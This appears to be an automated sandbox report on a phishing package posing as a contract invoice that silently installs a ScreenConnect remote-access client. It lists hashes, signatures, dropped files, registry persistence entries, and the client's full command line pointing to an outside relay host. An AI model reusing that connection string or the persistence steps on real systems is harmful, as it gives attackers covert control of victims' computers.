Overview
overview
8Static
static
3adobe/Andr...x.html
windows10-2004-x64
3adobe/Andr...x.html
windows11-ltsc_2024-x64
4adobe/Wind...n.html
windows10-2004-x64
3adobe/Wind...n.html
windows11-ltsc_2024-x64
4adobe/Wind...oad.js
windows10-2004-x64
3adobe/Wind...oad.js
windows11-ltsc_2024-x64
3Contract_I...nt.pdf
windows10-2004-x64
3Contract_I...nt.pdf
windows11-ltsc_2024-x64
3Contract_I...nk.bat
windows10-2004-x64
6Contract_I...nk.bat
windows11-ltsc_2024-x64
6Contract_I...nk.ps1
windows10-2004-x64
3Contract_I...nk.ps1
windows11-ltsc_2024-x64
8Contract_I...ll.msi
windows10-2004-x64
8Contract_I...ll.msi
windows11-ltsc_2024-x64
8Contract_I...ch.lnk
windows10-2004-x64
8Contract_I...ch.lnk
windows11-ltsc_2024-x64
8Contract_I...er.bat
windows10-2004-x64
8Contract_I...er.bat
windows11-ltsc_2024-x64
8Contract_I...up.bat
windows10-2004-x64
8Contract_I...up.bat
windows11-ltsc_2024-x64
8Contract_I...nt.vbs
windows10-2004-x64
8Contract_I...nt.vbs
windows11-ltsc_2024-x64
8Analysis
- max time kernel
149s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
08/07/2026, 12:17
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
adobe/Android/index.html
Resource
win10v2004-20260513-en
windows10-2004-x64
11 signatures
150 seconds
Behavioral task
behavioral2
Sample
adobe/Android/index.html
Resource
win11ltsc2024-20260706-en
windows11-ltsc_2024-x64
11 signatures
150 seconds
Behavioral task
behavioral3
Sample
adobe/Windows/down.html
Resource
win10v2004-20260513-en
windows10-2004-x64
11 signatures
150 seconds
Behavioral task
behavioral4
Sample
adobe/Windows/down.html
Resource
win11ltsc2024-20260706-en
windows11-ltsc_2024-x64
11 signatures
150 seconds
Behavioral task
behavioral5
Sample
adobe/Windows/download.js
Resource
win10v2004-20260513-en
windows10-2004-x64
1 signatures
150 seconds
Behavioral task
behavioral6
Sample
adobe/Windows/download.js
Resource
win11ltsc2024-20260706-en
windows11-ltsc_2024-x64
1 signatures
150 seconds
Behavioral task
behavioral7
Sample
Contract_Invoice/Document.pdf
Resource
win10v2004-20260513-en
windows10-2004-x64
7 signatures
150 seconds
Behavioral task
behavioral8
Sample
Contract_Invoice/Document.pdf
Resource
win11ltsc2024-20260706-en
windows11-ltsc_2024-x64
7 signatures
150 seconds
Behavioral task
behavioral9
Sample
Contract_Invoice/fix_lnk.bat
Resource
win10v2004-20260513-en
windows10-2004-x64
4 signatures
150 seconds
Behavioral task
behavioral10
Sample
Contract_Invoice/fix_lnk.bat
Resource
win11ltsc2024-20260706-en
windows11-ltsc_2024-x64
4 signatures
150 seconds
Behavioral task
behavioral11
Sample
Contract_Invoice/fix_lnk.ps1
Resource
win10v2004-20260513-en
windows10-2004-x64
3 signatures
150 seconds
Behavioral task
behavioral12
Sample
Contract_Invoice/fix_lnk.ps1
Resource
win11ltsc2024-20260706-en
windows11-ltsc_2024-x64
15 signatures
150 seconds
Behavioral task
behavioral13
Sample
Contract_Invoice/install.msi
Resource
win10v2004-20260513-en
windows10-2004-x64
22 signatures
150 seconds
Behavioral task
behavioral14
Sample
Contract_Invoice/install.msi
Resource
win11ltsc2024-20260706-en
windows11-ltsc_2024-x64
23 signatures
150 seconds
Behavioral task
behavioral15
Sample
Contract_Invoice/launch.lnk
Resource
win10v2004-20260513-en
windows10-2004-x64
23 signatures
150 seconds
Behavioral task
behavioral16
Sample
Contract_Invoice/launch.lnk
Resource
win11ltsc2024-20260706-en
windows11-ltsc_2024-x64
25 signatures
150 seconds
Behavioral task
behavioral17
Sample
Contract_Invoice/launcher.bat
Resource
win10v2004-20260513-en
windows10-2004-x64
25 signatures
150 seconds
Behavioral task
behavioral18
Sample
Contract_Invoice/launcher.bat
Resource
win11ltsc2024-20260706-en
windows11-ltsc_2024-x64
25 signatures
150 seconds
Behavioral task
behavioral19
Sample
Contract_Invoice/setup.bat
Resource
win10v2004-20260513-en
windows10-2004-x64
24 signatures
150 seconds
Behavioral task
behavioral20
Sample
Contract_Invoice/setup.bat
Resource
win11ltsc2024-20260706-en
windows11-ltsc_2024-x64
26 signatures
150 seconds
Behavioral task
behavioral21
Sample
Contract_Invoice/silent.vbs
Resource
win10v2004-20260513-en
windows10-2004-x64
23 signatures
150 seconds
Behavioral task
behavioral22
Sample
Contract_Invoice/silent.vbs
Resource
win11ltsc2024-20260706-en
windows11-ltsc_2024-x64
25 signatures
150 seconds
General
- Target Contract_Invoice/install.msi
- Size 12.6MB
- Sample260708-pgdzdaft9x
- SHA256 2067e236c1df64fee6b2fe36b273c21cc918e947cd915f29239dd7f91bfab4e0
- MD5 51d938944c7a87450159801958a6ded2
- SHA1 017b710d0a8940fe2ddd459ac0328b436cd52091
- SHA512 96e1d8c821bd50cfc1b51a1c3c965cf827113e0437855793b23ade5ffcc615519e7cb7e8706dd779bffe5833e7a4f7ad5b63301a786c0afaa7f7d607c851918a
- SSDEEP 393216:GmkEdQ03NldmmkEd8mkEd8mkEdwmkEd2mkEda:6E2cxaEiE6ECEcEo
- TLSH T1CAD6230573F8A119F1B72A3AED3956F1587B7C22CD62D15E0658364D2AB0EC19BB2333
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Sets service image path in registry 3 TTPs 1 IoCs
This determines the executable launched when a service starts. It can be used to establish persistence.
description ioc Process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (a1848ebcfe87d9dd)\ImagePath = "\"C:\\Program Files (x86)\\ScreenConnect Client (a1848ebcfe87d9dd)\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=dblov.com&p=8041&s=407d7823-6dbd-4d6a-897f-92d900b14970&k=BgIAAACkAABSU0ExAAgAAAEAAQDpRqjRew3uOuWW8mRUOUUqEhDoTO9nFesKh30sP3Ogy95rJa0WAqiSe4mxCxsFaN0GRqF%2bT7PSHDEPMeFhJXtg4DVFn7CX09wDhReUaBOIej4FR%2f8JcuLYY%2fY5xVonYMG4NZ15KyUr8r8eWof3Mwwb2zkWnAZw7lnc2cjRMtSGC2%2bhF3y9SF4eOSl7lMKxN%2fYQ4CC7wKG%2fynzAoImHvEvYRkxzMxKgigzltqT7B2Iw1SibkHyxM%2f6k%2bpTgPMtAWL3ysNbxERHNNKoq5DgztlUXrwj2Sr3sb3X5WMQExcveVYP3XmFC9XhLvIUkAd1X%2faz4K4lAb2AOeFJ2TzDTKGbI&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAAwe%2fDgWVlVEe1D%2f3p7FMw4AAAAAACAAAAAAAQZgAAAAEAACAAAAC7Vu0xf0Ea%2bSPBWJV9cBvng4SgJvFqUh88jeCsCFUL6AAAAAAOgAAAAAIAACAAAAABNwcyQD617H3R%2fJ8y7qye23e87aNyvs4BwXQXlyLFa6AEAADBEwhI8kLJeXL16IUKLwFC2MhP1gX9Rht7hOHxfm8dWckoQUYWoVPBImUZq%2bowKrD%2bDW0GExcj9HmIkOI6xCBB9Y11mfZgRPDn4vbktZCxCBBVkRhTrGQGp9Y5z6ACI8wU4VRkiCpAbJ9mEsDgYluDbtyVqe356uSyV5F70GGe0ZOnb6kBqG4AWP8Uwb4XNmXsqSd%2bdMtDA6CN31tYkqpkPAOQwAYCTM8GPPpHw2RF4HLBSmWEKtuL4q8qouBfgmFOtKMdj7ssP8G950xgJ9lNu4rAXFzwedXT%2bxLEj0xTOwJ8p0mG9bM%2bLqXud3JS06%2bCPiGAnFUzK6d%2fjNdrUzCGm7vTFCcX3fKKHRL5fCi5hjLW0Nj8C5H5ELH0zqnJXeya9z0j7UH4wYm%2b04FNvgC8ZzcRBPaSVX4j7dlVX6StPWtMhczT8Fhz%2fQkyJDmmw%2fimNeoeQw6f9o3a10gQ0JfWQwVm%2bz3MV%2fv2JnZtnNr92bKZJfrqML2Lje3pwjYoAyyHncOBQqTXbPXf%2bOoFrfBxcqgU3Bx4qrpN2QC%2bUTJ6dqUKhk9F6ax86SQjkM9dMP9yAe5v6ZqL2%2fwWauCGXy1EvlrgKpNzgj0T%2fnzOo3N3oGvCjmOH%2fOfk084qYUWpJeXskk8BR%2bHLoTApf%2fkI9Sjc2O8fx0pUgPda1hmVmWE9%2fABQtJXpaH4vD%2bAOwMT1Mu%2fl%2b7nwoiWtmji7G6hFGZcj3JBd8OS3CKMhbUQY0s9yWWfmsrZeIjXurA8jHrxBaQxhMhGQYdNh5rZzWkE0WSQvRcg5UlA%2bTEz2hZKYON7gPyHuDKv3Szaa05dumXhjykBTuZsCwjAiiQNULde8OuHsO3A0w8CbOnO%2ffQPsX2lSYVeCpUWSOX9d1KDllk9ZisQr1O8z9ijoqKFtGSsA5lc1dKzx1ZGA3k41oH0kmbCK4U7aYfdsjsh%2f3SFhpQUAYHsHppPs3l%2fiNU32NCcReb0sajGsMiaMXK37plU5DTNHdqLq3XsRo8NysGKjWHGXVXyeh1sxxH3YW6ciUkwHSAXFrc1pusAJuM8YskFCdHH%2fzzg%2f0MSwSUo85YOo%2bh05GieftdyBlSd1OV%2frd994GC6JkGLl2K6vsl2DYk%2fX%2fuVxJLoXO9oOMZxM%2f%2fCvoTWBfS2828jRxdshlPsdPFcL8t7Va9SVlOQo5z6zCJJeWJtnZ7ufCkrV%2ffUkSJEhvGW1vMl7d8S1EJQ59cV%2bKfnc8ysqERr70cCOPfYhwhMxgADKhZ99TD2TXYRIQ1YR5JIg0r7ti1LsWSWEUufPdnspzW5LGbsc4lZ58TTzqCQJXgeCzJdDBBVnllK4%2f9GuvzpA4DpAyInb3kBaGYrezbK3IiH8SfYw69ZNdGL%2fC6DRDhof8n87JvczNHEyiYvnGofzRkE7dEtpuTxRhl3nYDwQlal8WBH7kfK3oaMfo9tTYOyv5R0pVVkBjBPuAPuSFFtVg54XwjeYt%2fVerkS6TjWjhEoh%2b0VcNk5wVXsI92Ga6%2boyw4tkLc0mpOuPL9YjNkSBbQ9g55oDPvhMHCjEIYgd3Ox%2buU5j9VSmkS%2fEgPOh9EWjjUAAAABTv1MQaR0iE4tpl9CUp3FnOy4aUZpNG2keM0UflxXpzWz7y3STPEcGPGvGl2NBXEfboMzaVmUSTKOzdDG1ezGy\"" ScreenConnect.ClientService.exe - Signed with revoked ConnectWise certificate 2 IoCs
Binary is signed using a ConnectWise certificate revoked for key compromise.
resource yara_rule behavioral13/files/0x001700000001e523-98.dat revoked_cert_connectwise behavioral13/memory/2196-99-0x0000000004C10000-0x0000000004CE5000-memory.dmp revoked_cert_connectwise - Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Executes dropped EXE 3 IoCs
pid Process 2196 ScreenConnect.ClientService.exe 4828 ScreenConnect.WindowsClient.exe 332 ScreenConnect.WindowsClient.exe - Loads dropped DLL 22 IoCs
pid Process 2612 MsiExec.exe 2584 rundll32.exe 2584 rundll32.exe 2584 rundll32.exe 2584 rundll32.exe 2584 rundll32.exe 2584 rundll32.exe 2584 rundll32.exe 2584 rundll32.exe 2584 rundll32.exe 2920 MsiExec.exe 3568 MsiExec.exe 2196 ScreenConnect.ClientService.exe 2196 ScreenConnect.ClientService.exe 2196 ScreenConnect.ClientService.exe 2196 ScreenConnect.ClientService.exe 2196 ScreenConnect.ClientService.exe 2196 ScreenConnect.ClientService.exe 2196 ScreenConnect.ClientService.exe 2196 ScreenConnect.ClientService.exe 2196 ScreenConnect.ClientService.exe 2196 ScreenConnect.ClientService.exe - Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\Q: msiexec.exe - Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs
Suspicious Windows Authentication Registry Modification.
description ioc Process Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\Authentication Packages = 6d007300760031005f003000000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c00530063007200650065006e0043006f006e006e00650063007400200043006c00690065006e00740020002800610031003800340038006500620063006600650038003700640039006400640029005c00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f0077007300410075007400680065006e007400690063006100740069006f006e005000610063006b006100670065002e0064006c006c0000000000 msiexec.exe - Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (a1848ebcfe87d9dd)\tt0kgozm.tmp ScreenConnect.ClientService.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (a1848ebcfe87d9dd)\tt0kgozm.newcfg ScreenConnect.ClientService.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\ScreenConnect.WindowsClient.exe.log ScreenConnect.WindowsClient.exe - Drops file in Program Files directory 18 IoCs
description ioc Process File created C:\Program Files (x86)\ScreenConnect Client (a1848ebcfe87d9dd)\Client.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (a1848ebcfe87d9dd)\system.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (a1848ebcfe87d9dd)\ScreenConnect.Windows.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (a1848ebcfe87d9dd)\ScreenConnect.WindowsClient.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (a1848ebcfe87d9dd)\ScreenConnect.ClientService.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (a1848ebcfe87d9dd)\Client.en-US.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (a1848ebcfe87d9dd)\ScreenConnect.Client.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (a1848ebcfe87d9dd)\ScreenConnect.ClientService.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (a1848ebcfe87d9dd)\ScreenConnect.Core.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (a1848ebcfe87d9dd)\ScreenConnect.WindowsBackstageShell.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (a1848ebcfe87d9dd)\ScreenConnect.WindowsBackstageShell.exe.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (a1848ebcfe87d9dd)\ScreenConnect.WindowsFileManager.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (a1848ebcfe87d9dd)\ScreenConnect.WindowsFileManager.exe.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (a1848ebcfe87d9dd)\app.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (a1848ebcfe87d9dd)\ScreenConnect.WindowsAuthenticationPackage.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (a1848ebcfe87d9dd)\ScreenConnect.WindowsClient.exe.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (a1848ebcfe87d9dd)\ScreenConnect.WindowsCredentialProvider.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (a1848ebcfe87d9dd)\Client.Override.en-US.resources msiexec.exe - Drops file in Windows directory 13 IoCs
description ioc Process File opened for modification C:\Windows\Installer\MSIABCB.tmp msiexec.exe File created C:\Windows\Installer\e58aa95.msi msiexec.exe File opened for modification C:\Windows\Installer\{965DEF4E-6FED-9740-6E5F-B2D419DF24B3}\DefaultIcon msiexec.exe File created C:\Windows\Installer\e58aa93.msi msiexec.exe File opened for modification C:\Windows\Installer\e58aa93.msi msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File opened for modification C:\Windows\Installer\MSIAC2A.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIB2C3.tmp msiexec.exe File created C:\Windows\Installer\wix{965DEF4E-6FED-9740-6E5F-B2D419DF24B3}.SchedServiceConfig.rmi MsiExec.exe File created C:\Windows\Installer\{965DEF4E-6FED-9740-6E5F-B2D419DF24B3}\DefaultIcon msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\Installer\SourceHash{965DEF4E-6FED-9740-6E5F-B2D419DF24B3} msiexec.exe - Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
pid Process 1676 msiexec.exe - System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language rundll32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ScreenConnect.ClientService.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe - Checks SCSI registry key(s) 3 TTPs 5 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000e0d688459d835b340000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff000000002701010000080000e0d688450000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed35000000ffffffff000000000700010000680900e0d68845000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff350000000000000005000000ffffffff000000000700010000f8ff1ae0d68845000000000000f0ff350000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1de0d68845000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString ScreenConnect.WindowsClient.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 ScreenConnect.WindowsClient.exe - Modifies data under HKEY_USERS 13 IoCs
description ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" ScreenConnect.WindowsClient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" ScreenConnect.WindowsClient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ ScreenConnect.ClientService.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" ScreenConnect.ClientService.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E msiexec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28 msiexec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" ScreenConnect.WindowsClient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" ScreenConnect.WindowsClient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" ScreenConnect.ClientService.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" ScreenConnect.ClientService.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" ScreenConnect.ClientService.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ ScreenConnect.WindowsClient.exe - Modifies registry class 37 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-a1848ebcfe87d9dd\shell\open\command msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-DAB4-5FDB892DA613} msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\E4FED569DEF60479E6F52B4D91FD423B msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E4FED569DEF60479E6F52B4D91FD423B\AdvertiseFlags = "388" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E4FED569DEF60479E6F52B4D91FD423B\ProductIcon = "C:\\Windows\\Installer\\{965DEF4E-6FED-9740-6E5F-B2D419DF24B3}\\DefaultIcon" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E4FED569DEF60479E6F52B4D91FD423B\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\Contract_Invoice\\" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-a1848ebcfe87d9dd\URL Protocol msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-a1848ebcfe87d9dd\UseOriginalUrlEncoding = "1" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-a1848ebcfe87d9dd\shell\open msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-DAB4-5FDB892DA613}\InprocServer32\ = "C:\\Program Files (x86)\\ScreenConnect Client (a1848ebcfe87d9dd)\\ScreenConnect.WindowsCredentialProvider.dll" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E4FED569DEF60479E6F52B4D91FD423B\ProductName = "ScreenConnect Client (a1848ebcfe87d9dd)" msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E4FED569DEF60479E6F52B4D91FD423B\Clients = 3a0000000000 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-DAB4-5FDB892DA613}\InprocServer32\ThreadingModel = "Apartment" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E4FED569DEF60479E6F52B4D91FD423B\SourceList msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\sc-a1848ebcfe87d9dd\shell\open\command msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-a1848ebcfe87d9dd msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E4FED569DEF60479E6F52B4D91FD423B\Language = "1033" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E4FED569DEF60479E6F52B4D91FD423B\DeploymentFlags = "3" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\6CFC93D4C913F19A1A48E8CBEF789DDD msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E4FED569DEF60479E6F52B4D91FD423B\SourceList\Media msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\sc-a1848ebcfe87d9dd msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-a1848ebcfe87d9dd\shell msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E4FED569DEF60479E6F52B4D91FD423B\Assignment = "1" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\6CFC93D4C913F19A1A48E8CBEF789DDD\E4FED569DEF60479E6F52B4D91FD423B msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E4FED569DEF60479E6F52B4D91FD423B\SourceList\Net msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E4FED569DEF60479E6F52B4D91FD423B\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Contract_Invoice\\" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E4FED569DEF60479E6F52B4D91FD423B\SourceList\Media\1 = ";" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-a1848ebcfe87d9dd\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (a1848ebcfe87d9dd)\\ScreenConnect.WindowsClient.exe\" \"%1\"" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E4FED569DEF60479E6F52B4D91FD423B msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E4FED569DEF60479E6F52B4D91FD423B\AuthorizedLUAApp = "0" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-DAB4-5FDB892DA613}\ = "ScreenConnect Client (a1848ebcfe87d9dd) Credential Provider" msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-DAB4-5FDB892DA613}\InprocServer32 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E4FED569DEF60479E6F52B4D91FD423B\SourceList\PackageName = "install.msi" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\E4FED569DEF60479E6F52B4D91FD423B\Full msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E4FED569DEF60479E6F52B4D91FD423B\PackageCode = "E4FED569DEF60479E6F52B4D91FD423B" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E4FED569DEF60479E6F52B4D91FD423B\Version = "419692564" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E4FED569DEF60479E6F52B4D91FD423B\InstanceType = "0" msiexec.exe - Suspicious behavior: EnumeratesProcesses 8 IoCs
